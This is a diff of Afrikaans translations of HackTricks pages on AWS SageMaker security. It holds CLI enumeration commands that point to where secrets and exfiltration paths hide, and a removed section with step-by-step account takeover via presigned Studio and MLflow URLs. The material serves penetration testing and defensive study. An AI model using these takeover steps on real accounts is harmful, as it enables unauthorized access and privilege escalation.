- **Notebook Instances**: Beheerde EC2-instanse vir onafhanklike notebooks; gebruik aparte uitvoeringsrolle.
- **Training / Processing / Transform Jobs**: Tydelike kontainers wat kode van ECR en data van S3 trek.
- **Pipelines & Experiments**: Gekoördineerde workflows wat alle stappe, insette, en uitsette beskryf.
- **Models & Endpoints**: Verpakte artefakte ontplooi vir inferensie via HTTPS endpoints.
- **Feature Store & Data Wrangler**: Beheerde dienste vir data-voorbereiding en feature-bestuur.
- **Autopilot & JumpStart**: Geautomatiseerde ML en 'n gekeurde modelkatalogus.
- **MLflow Tracking Servers**: Beheerde MLflow UI/API met presigned toegangstokens.
Elke hulpbron verwys na 'n execution role, S3-ligginge, kontainerbeelde, en opsionele VPC/KMS-konfigurasie—capture all of them during enumeration.
Elke hulpbron verwys na 'n uitvoeringsrol, S3-ligginge, kontainerbeelde, en opsionele VPC/KMS-konfigurasie—vang al hulle tydens enumerasie.
## Account & Global Metadata
## Rekening- en globale metadata
```bash
REGION=us-east-1
# Portfolio status, used when provisioning Studio resources
@@ -39,9 +39,9 @@ aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' -
# Generic tag sweep across any SageMaker ARN you know
aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
```
Neem kennis van enige cross-account trust (execution roles or S3 buckets with external principals) en basiese beperkings soos service control policies of SCPs.
Neem kennis van enige cross-account trust (execution roles of S3 buckets met external principals) en basiese beperkings soos service control policies of SCPs.
## Studio Domains, Apps & Shared Spaces
## Studio-domeine, apps & gedeelde ruimtes
```bash
aws sagemaker list-domains --region $REGION
aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
@@ -63,11 +63,11 @@ aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <n
Wat om op te neem:
- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
- Gemonteerde EFS (`HomeEfsFileSystemId`) en S3 huismappe.
- Lifecycle scripts (bevat dikwels bootstrap credentials of ekstra code wat gepush/pull word).
- Gemonteerde EFS (`HomeEfsFileSystemId`) en S3 tuismappe.
- Lifecycle-skripte (bevat dikwels bootstrap credentials of push/pull ekstra kode).
> [!TIP]
> Presigned Studio URLs kan verifikasie omseil as dit wyd toegeken word.
> Presigned Studio URLs kan verifikasie omseil as hulle wyd toegeken is.
## Notebook Instances & Lifecycle Configs
```bash
@@ -76,13 +76,13 @@ aws sagemaker describe-notebook-instance --notebook-instance-name <name> --regio
aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION
aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name <cfg> --region $REGION
```
Notebook-metadata onthul:
Notebook-metadata openbaar:
- Uitvoeringsrol (`RoleArn`), direkte internettoegang vs. VPC-only-modus.
- S3-liggings in `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
- Uitvoeringsrol (`RoleArn`), direkte internettoegang vs. VPC-slegs-modus.
- S3-lokaliteite in `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
- Lewensiklus-skripte vir credentials of persistence hooks.
## Opleiding, Verwerking, Transformasie & Batch-take
## Opleiding, Verwerking, Transformasie & Batch-jobs
```bash
aws sagemaker list-training-jobs --region $REGION
aws sagemaker describe-training-job --training-job-name <job> --region $REGION
@@ -95,10 +95,10 @@ aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
```
Ondersoek:
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` which ECR images are deployed.
- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` watter ECR images ontplooi word.
- `InputDataConfig` & `OutputDataConfig` S3 buckets, voorvoegsels en KMS-sleutels.
- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` bepaal netwerk- of enkripsie-opstelling.
- `HyperParameters` kan leak omgewingsgeheime of verbindingsstringe.
- `HyperParameters` kan omgewingsgeheime of verbindingsstringe leak.
## Pipelines, Eksperimente & Proewe
```bash
@@ -110,9 +110,9 @@ aws sagemaker list-experiments --region $REGION
aws sagemaker list-trials --experiment-name <experiment> --region $REGION
aws sagemaker list-trial-components --trial-name <trial> --region $REGION
```
Pyplyn-definisies beskryf elke stap, die geassosieerde rolle, container images, en omgewingsveranderlikes. Trial-komponente bevat dikwels opleidings-artefak-URIs, S3 logs, en metrieks wat op sensitiewe datavloei dui.
Pyplyn-definisies beskryf elke stap, verwante rolle, kontainerbeelde en omgewingsveranderlikes. Proefkomponente bevat dikwels opleidingsartefak-URIs, S3 logs en metrieks wat dui op sensitiewe datavloei.
## Modelle, Endpoint-konfigurasies & Ontplooide Endpoints
## Modelle, Eindpuntkonfigurasies & Ontplooide Eindpunte
```bash
aws sagemaker list-models --region $REGION
aws sagemaker describe-model --model-name <name> --region $REGION
@@ -125,10 +125,10 @@ aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
```
Fokusgebiede:
- Modelartefak S3 URIs (`PrimaryContainer.ModelDataUrl`) en inference container images.
- Model-artefak S3 URIs (`PrimaryContainer.ModelDataUrl`) en inference container images.
- Endpoint data capture-konfigurasie (S3 bucket, KMS) vir moontlike log exfil.
- Multi-model endpoints wat `S3DataSource` of `ModelPackage` gebruik (kontroleer vir cross-account packaging).
- Netwerkkonfigurasies en security groups wat aan endpoints gekoppel is.
- Netwerk-konfigurasies en security groups wat aan endpoints gekoppel is.
## Feature Store, Data Wrangler & Clarify
```bash
@@ -141,13 +141,13 @@ aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
aws sagemaker list-model-quality-job-definitions --region $REGION
aws sagemaker list-model-monitoring-schedule --region $REGION
```
Sekuriteitsopsommings:
Sekuriteitsopsomming:
- Aanlyn feature stores repliseer data na Kinesis; kontroleer `OnlineStoreConfig.SecurityConfig.KmsKeyId` en VPC.
- Data Wrangler-vloei inkorporeer dikwels JDBC/Redshift-inlogbesonderhede of private endpoints.
- Clarify/Model Monitor-jobs voer data uit na S3 wat moontlik wêreldwyd leesbaar of oor-rekening toeganklik is.
- Online feature stores repliseer data na Kinesis; kontroleer `OnlineStoreConfig.SecurityConfig.KmsKeyId` en VPC.
- Data Wrangler flows bevat dikwels ingebedde JDBC/Redshift-inlogbewyse of private endpoints.
- Clarify/Model Monitor-jobs voer data uit na S3 wat dalk wêreldleesbaar of kruis-rekening-toeganklik kan wees.
## MLflow Tracking-bedieners, Autopilot & JumpStart
## MLflow Opsporingsbedieners, Autopilot & JumpStart
```bash
aws sagemaker list-mlflow-tracking-servers --region $REGION
aws sagemaker describe-mlflow-tracking-server --tracking-server-name <name> --region $REGION
@@ -158,15 +158,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
aws sagemaker list-jumpstart-models --region $REGION
aws sagemaker list-jumpstart-script-resources --region $REGION
```
- MLflow tracking servers stoor eksperimente en artefakte; presigned URLs kan alles blootstel.
- Autopilot jobs draai verskeie training jobs — lys die uitsette vir verborge data.
- JumpStart reference architectures kan bevoorregte rolle in die rekening ontplooi.
- MLflow tracking-bedieners berg eksperimente en artefakte; presigned URLs kan alles blootstel.
- Autopilot jobs voer verskeie training jobs uit — ondersoek die uitsette vir versteekte data.
- JumpStart reference architectures kan geprivilegieerde rolle in die account ontplooi.
## IAM & Netwerk-oorwegings
- Enumereer IAM-beleide wat aangeheg is aan alle uitvoeringsrolle (Studio, notebooks, training jobs, pipelines, endpoints).
- Lys IAM-beleid wat aan alle uitvoeringsrolle gekoppel is (Studio, notebooks, training jobs, pipelines, endpoints).
- Kontroleer netwerk-kontekste: subnets, security groups, VPC endpoints. Baie organisasies isoleer training jobs maar vergeet om uitgaande verkeer te beperk.
- Hersien S3 bucket-beleide wat in `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` verwys word vir eksterne toegang.
- Hersien S3 bucket policies wat in `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` verwys word vir eksterne toegang.
## Privilege Escalation

View File

@@ -1,107 +1,13 @@
# AWS - SageMaker Unauthorized Access
# AWS - SageMaker Ongeautoriseerde Toegang
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile)
## Presigned URLs for SageMaker
### Description
'n identiteit met toestemming om `sagemaker:CreatePresignedDomainUrl` aan te roep op 'n geteikende Studio `UserProfile` kan 'n aanmeld-URL genereer wat direk in SageMaker Studio as daardie profiel autentiseer. Dit verleen die aanvaller se blaaier 'n Studio-sessie wat die profiel se `ExecutionRole`-toestemmings erf en volle toegang tot die profiel se EFS-backed tuisgids en apps. Geen `iam:PassRole` of console-toegang is benodig nie.
As 'n aanvaller daarin slaag om 'n presigned URL vir 'n SageMaker-bron te bekom, kan hulle dit sonder enige verdere verifikasie benader. Die toestemmings en toegangsvlak sal afhang van die rol wat met die bron geassosieer is:
### Requirements
- 'n SageMaker Studio `Domain` en 'n geteikende `UserProfile` binne dit.
- Die aanvaller-prinsipaal het `sagemaker:CreatePresignedDomainUrl` nodig op die geteikende `UserProfile` (resourcelevel) of `*`.
Minimale beleidsvoorbeeld (beperk tot een `UserProfile`):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
### Misbruikstappe
1) Enumerate a Studio Domain en UserProfiles wat jy kan target
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) Genereer 'n presigned URL (geldig ~5 minute volgens verstek)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
3) Maak die teruggegewe URL in 'n blaaier oop om by Studio as die teikengebruiker aan te meld. In 'n Jupyter-terminal binne Studio verifieer die effektiewe identiteit:
```bash
aws sts get-caller-identity
```
Aantekeninge:
- `--landing-uri` kan weggelaat word. Sommige waardes (bv. `app:JupyterLab:/lab`) kan verwerp word, afhangend van die Studio-flavor/weergawe; verstekwaardes herlei gewoonlik na die Studio-huis en daarna na Jupyter.
- Organisasiebeleid/VPC endpoint-beperkings kan steeds netwerktoegang blokkeer; token minting vereis nie console-aanmelding of `iam:PassRole` nie.
### Impak
- Lateral movement and privilege escalation deur enige Studio `UserProfile` aan te neem waarvan die ARN toegelaat word, en sodoende sy `ExecutionRole` en lêerstelsel/apps te erf.
### Bewyse (van 'n beheerde toets)
- Met slegs `sagemaker:CreatePresignedDomainUrl` op 'n teiken-`UserProfile`, het die aanvallerrol suksesvol 'n `AuthorizedUrl` teruggegee soos:
```
https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
```
- A direct HTTP request responds with a redirect (HTTP 302) to Studio, confirming the URL is valid and active until expiry.
## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
### Beskrywing
'n identiteit met toestemming om `sagemaker:CreatePresignedMlflowTrackingServerUrl` aan te roep vir 'n teiken SageMaker MLflow Tracking Server kan 'n eenmalige presigned URL genereer wat direk by die bestuurde MLflow UI vir daardie server verifieer. Dit gee dieselfde toegang as wat 'n wettige gebruiker sou hê tot die server (bekyk/skep eksperimente en runs, en aflaai/oplaai van artefakte in die server se S3-artefakbewaarplek) sonder konsoletogang of `iam:PassRole`.
### Vereistes
- 'n SageMaker MLflow Tracking Server in die rekening/streek en die naam daarvan.
- Die aanvallende principal benodig `sagemaker:CreatePresignedMlflowTrackingServerUrl` op die teiken MLflow Tracking Server-hulpbron (of `*`).
Minimale beleidsvoorbeeld (beperk tot een Tracking Server):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
}
]
}
```
### Misbruikstappe
1) Enumereer MLflow Tracking Servers wat jy kan teiken en kies een naam
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) Genereer 'n vooraf-ondertekende MLflow UI URL (geldig vir 'n kort tyd)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--expires-in-seconds 300 \
--session-expiration-duration-in-seconds 1800 \
--query AuthorizedUrl --output text
```
3) Open die teruggegewe URL in 'n blaaier om toegang tot die MLflow UI as 'n geauthentiseerde gebruiker vir daardie Tracking Server te kry.
Aantekeninge:
- Die Tracking Server moet in 'n gereedtoestand wees (bv., `Created/Active`). As dit nog `Creating` is, sal die oproep verwerp word.
- Die presigned URL is vir eenmalige gebruik en kortstondig; genereer 'n nuwe een wanneer nodig.
### Impak
- Direkte toegang tot die bestuurde MLflow UI vir die geteikende Tracking Server, wat dit moontlik maak om eksperimente/runs te besigtig en te wysig, en om artefakte wat in die bediener se gekonfigureerde S3 artifact store gestoor is af te laai of op te laai, binne die toestemmings wat deur die bediener se konfigurasie opgelê word.
{{#ref}}
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}